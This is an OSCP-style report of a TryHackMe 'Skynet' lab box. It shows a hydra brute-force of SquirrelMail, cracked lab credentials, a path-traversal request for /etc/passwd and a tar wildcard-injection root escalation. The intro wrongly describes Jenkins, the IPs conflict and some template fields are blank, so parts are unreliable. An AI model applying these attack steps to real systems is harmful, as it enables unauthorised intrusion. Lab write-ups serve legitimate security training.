Road To Offensive Security Certified Professional

Pentest Report

aymanrayan.kissami@gmail.com, OSID: XXXX

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1 Skynet Pentensting Report

Figure 1.1: Box

1.1 Introduction

In this room, we'll learn how to exploit a common misconfiguration on a widely used automation server(Jenkins - This tool is used to create continuous integration/continuous development pipelines that allow developers to automatically deploy their code once they made change to it). After which, we'll use an interesting privilege escalation method to get full system access.

1.2 Objective

The objective of this assessment is to perform an internal penetration test against the Box. The Pentester is tasked with following methodical approach in obtaining access to the objective goals. This test should simulate an actual penetration test and how you would start from beginning to end, including the overall report.

1.3 Requirements

The Pentester will be required to fill out this penetration testing report fully and to include the following sections:

- Overall High-Level Summary and Recommendations (non-technical)
- Methodology walkthrough and detailed outline of steps taken
- Each finding with included screenshots, walkthrough, sample code, and proof.txt if applicable
- Any additional items that were not included

2 High-Level Summary

I was tasked with performing an internal penetration test towards this Box. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Offensive Security's internal systems - the THINC.local domain. My overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to Offensive Security.

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on the Box. During the testing, I had administrative level access to the system. The full box was successfully exploited and access granted. These systems as well as a brief description on how access was obtained are listed below:

- 10.10.231.40(Skynet) - Squirrel mail, hydra,gobuster

2.1 Recommendations

I recommend patching the vulnerabilities identified during the testing to ensure that an attacker cannot exploit these systems in the future. One thing to remember is that these systems require frequent patching and once patched, should remain on a regular patch program to protect additional vulnerabilities that are discovered at a later date.

3 Methodologies

I utilized a widely adopted approach to performing penetration testing that is effective in testing how well the Offensive Security Exam environments is secured. Below is a breakout of how I was able to identify and exploit the variety of systems and includes all individual vulnerabilities found.

3.1 Information Gathering

The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, I was tasked with exploiting the exam network. The specific IP addresse was:

Box IP

- 10.10.231.40

3.2 Penetration

The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems. During this penetration test, I was able to successfully gain access to **X** out of the **X** systems.

3.2.1 System IP:10.10.231.40

3.2.1.1 Service Enumeration

The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test. In some cases, some ports may not be listed.

Server IP Address	Ports Open
10.10.98.191	**TCP**:80,22,110,139,143,445 **UDP**:

Nmap Scan Results:

```
Host is up (0.084s latency).
Not shown: 994 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA)
|   256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA)
|_  256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519)
80/tcp  open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Skynet
110/tcp open  pop3        Dovecot pop3d
|_pop3-capabilities: PIPELINING AUTH-RESP-CODE TOP RESP-CODES CAPA SASL UIDL
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
|_imap-capabilities: ENABLE more have post-login ID IMAP4rev1 SASL-IR LOGINDISABLEDA0001 Pre-login capabilities OK l
isted IDLE LITERAL+ LOGIN-REFERRALS
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-12-20T14:54:04
|_  start_date: N/A
|_clock-skew: mean: 2h00m00s, deviation: 3h27m51s, median: 0s
| nbstat: NetBIOS name: SKYNET, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   SKYNET<00>           Flags: <unique><active>
|   SKYNET<03>           Flags: <unique><active>
|   SKYNET<20>           Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: skynet
|   NetBIOS computer name: SKYNET\x00
|   Domain name: \x00
|   FQDN: skynet
|_  System time: 2021-12-20T08:54:04-06:00
```

Figure 3.1: Fast Scan

Initial access

HTTP



Figure 3.2: HTTP

– we tried running go buster and we found an interesting squirrel mail directory

Smb

– and since we saw smb ports open we ran enum4linux to seee what we can work with



Figure 3.3: HTTP



Figure 3.4: HTTP



Figure 3.5: HTTP

– we tried to connect to an anonymous share and we got log1.txt which looks like a password list

– content of attention.txt and logs1.txt





Figure 3.6: HTTP

– now back to the mail directory we can try to bruteforce the login page via hydra using the given password list , we launched burpsuite to intercept the request



Figure 3.7: HTTP

–

hydra

```
┌──(root💀kali)-[~/MyPentestLab/THM_Boxes/THM_Skynet]
└─# hydra -l milesdyson -P log1.txt 10.10.224.125 http-post-form '/squirrelmail/src/redirect.php:login_username=^USE
R^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:Unknown user or password incorrect.'
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizatio
ns, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-07-13 14:49:54
[DATA] max 16 tasks per 1 server, overall 16 tasks, 31 login tries (l:1/p:31), ~2 tries per task
[DATA] attacking http-post-form://10.10.224.125:80/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PA
SS^&js_autodetect_results=1&just_logged_in=1:Unknown user or password incorrect.
[80][http-post-form] host: 10.10.224.125   login: milesdyson   password: cyborg007haloterminator
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-07-13 14:50:04
```

Figure 3.8: HTTP

– we found sum potential credentials milesdyson:cyborg007haloterminator



Figure 3.9: HTTP

– in the mails we found the smb password of the milesdyson:)s{A&2Z=Fˆn_E.B



Figure 3.10: HTTP

– we got a secret directory



Figure 3.11: HTTP



Figure 3.12: HTTP

– we ran gobuster on the secret directory and we found

```
┌──(root💀kali)-[~/MyPentestLab/THM_Boxes/THM_Skynet]
└─# gobuster dir -u http://10.10.224.125/45kra24zxs28v3yd/  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.224.125/45kra24zxs28v3yd/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/07/13 15:16:58 Starting gobuster in directory enumeration mode
===============================================================
/administrator        (Status: 301) [Size: 339] [--> http://10.10.224.125/45kra24zxs28v3yd/administrator/]
Progress: 15082 / 220561 (6.84%)
```

Figure 3.13: HTTP



Figure 3.14: HTTP



Figure 3.15: HTTP

http://10.10.224.125/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/pa



Figure 3.16: HTTP

– now we need to get a reverse shell

Privesc



Figure 3.17: HTTP



Figure 3.18: HTTP

– we hosted linpeas and we ran it on the target



Figure 3.19: HTTP

– the root executes every minute backup.sh file



Figure 3.20: HTTP

```
>> cat backup.sh
#!/bin/bash
```

cd /var/www/html tar cf /home/milesdyson/backups/backup.tgz * => we can inject command line arguments for the tar programm => so what we will do ; ls -la /bin/bash wich is currently owned by root ; we gonna have root make bin bash be a setuid binary so we can just invoke it and be root » /bin/bash // if we run this it just puts us in a sub shell and we can just exit » /bin/bash -p // when bin bash is a setuid binary and if we invoke it with -p then run whoami and now we ahve the privileges of the user that this file is owned by , that what the setuid priv will allow us to do



Figure 3.21: HTTP

Vulnerability Fix: Severity: moderate **Proof of Concept Code Here: Local.txt Proof Screenshot Local.txt Contents** #### Privilege Escalation

Additional Priv Esc info

Vulnerability Exploited:

Vulnerability Explanation:

Vulnerability Fix:

Severity:

Exploit Code:

Proof Screenshot Here:

Proof.txt Contents:

3.3 Maintaining Access

Maintaining access to a system is important to us as attackers, ensuring that we can get back into a system after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred (i.e. a buffer overflow), we have administrative access over the system again. Many exploits may only be exploitable once and we may never be able to get back into a system after we have already performed the exploit.

3.4 House Cleaning

The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organization's computer which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important.

After collecting trophies from the exam network was completed, I removed all user accounts and passwords as well as the Meterpreter services installed on the system. Offensive Security should not have to remove any user accounts or services from the system.

4 Additional Items

4.1 Appendix - Proof and Local Contents:

4.2 Appendix - Metasploit/Meterpreter Usage

4.3 Appendix - Completed Buffer Overflow Code